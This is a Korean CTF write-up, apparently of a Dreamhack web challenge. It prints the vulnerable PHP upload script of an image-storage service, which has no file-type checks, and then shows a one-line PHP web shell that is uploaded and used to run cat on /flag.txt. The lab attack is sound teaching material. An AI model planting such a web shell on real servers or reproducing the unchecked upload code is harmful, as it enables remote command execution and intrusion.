웹 서비스에 접속하면 상단에 메뉴바(Home, List, Upload 등) 가 보이며, 메인 영역에는 "Upload and Share Image !" 라는 문구가 표시된 초기 화면이 나타납니다.

Upload 메뉴로 이동하면 파일을 업로드할 수 있는 페이지가 나타납니다. 여기서 파일 선택 버튼을 통해 원하는 파일을 선택한 뒤, Upload 버튼을 눌러 파일을 업로드할 수 있습니다.

파일을 하나 업로드하면 자동으로 List 메뉴에 저장되며, 업로드된 파일을 목록에서 확인할 수 있습니다.



자세한 동작원리를 알기위해서 코드를 확인 해 보았다.
upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">파일 업로드</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
📌 코드 동작 요약
- 파일 업로드 요청 처리 (POST)
- 업로드 요청이 들어오면 $_FILES 배열에서 전송된 파일 정보를 가져옴.
- 주요 변수:
- $name: 파일 이름
- $tmp_name: 임시 저장 경로
- $error: 업로드 에러 코드
- 에러 및 중복 확인
- 업로드 에러 발생 시 에러 메시지 출력.
- 동일한 이름의 파일이 이미 존재하면 "already exists" 메시지 출력.
- 파일 이동
- 문제가 없으면 move_uploaded_file() 함수로 ./uploads/ 디렉토리에 저장.
- 저장 성공 시 "Stored in: ./uploads/파일명" 출력.
- 프론트엔드
- Bootstrap 기반의 간단한 UI.
- 상단 메뉴바(Home, List, Upload).
- 본문에는 파일 선택과 Upload 버튼이 있는 업로드 폼 제공.
해당 서비스는 파일 업로드 기능을 제공하기 때문에, 보안상 취약하다면 웹셸(WebShell) 업로드와 같은 공격이 가능할 수 있다고 판단했습니다. 이를 확인하기 위해 테스트 목적으로 웹셸 코드를 업로드해 보았습니다.
웹셸 코드
<?php system($_GET['cmd']); ?>



결과적으로 문제에서 제시된 /flag.txt 위치를 확인한 뒤 cat 명령어를 실행하여 플래그를 출력할 수 있었습니다.

'Dreamhack > 웹해킹' 카테고리의 다른 글
| [LEVEL 1] php-1 (0) | 2025.09.06 |
|---|---|
| [LEVEL 1] simple-ssti (0) | 2025.09.04 |
| [LEVEL 1] xss-1 (0) | 2025.09.03 |
| [LEVEL 1] csrf-1 (0) | 2025.09.03 |
| [LEVEL 1] simple_sqli (0) | 2025.09.02 |